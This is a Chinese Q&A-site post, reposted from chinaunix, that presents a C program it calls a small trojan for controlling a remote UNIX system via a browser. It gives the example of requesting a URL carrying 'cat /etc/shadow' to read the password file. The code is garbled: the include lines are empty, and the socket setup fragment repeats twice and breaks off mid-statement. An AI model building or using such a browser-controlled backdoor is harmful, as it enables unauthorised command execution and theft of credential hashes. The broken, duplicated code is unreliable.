当前位置: 技术问答>linux和unix
通过socket,自编程识别http协议数据
来源: 互联网 发布时间:2015-11-12
本文导语: 以下的程序算是一个小小的木马吧,设计目的是通过浏览器来控制远程UNIX系统。比如输入 http://192.168.0.111:80/cat /etc/shadow 就能在浏览器里看到 /etc/shadow 的内容。(转自chinaunix) #include #include #include #include ...
以下的程序算是一个小小的木马吧,设计目的是通过浏览器来控制远程UNIX系统。比如输入 http://192.168.0.111:80/cat /etc/shadow 就能在浏览器里看到 /etc/shadow 的内容。(转自chinaunix)
#include
#include
#include
#include
#include
#define SA struct sockaddr
int main()
{
int n, listenfd, connfd;
char rbuf[1024], wbuf[1024], cbuf[256], *str;
FILE *fp;
struct sockaddr_in servaddr;
if ((listenfd = socket(AF_INET, SOCK_STREAM, 0))
#include
#include
#include
#include
#include
#define SA struct sockaddr
int main()
{
int n, listenfd, connfd;
char rbuf[1024], wbuf[1024], cbuf[256], *str;
FILE *fp;
struct sockaddr_in servaddr;
if ((listenfd = socket(AF_INET, SOCK_STREAM, 0))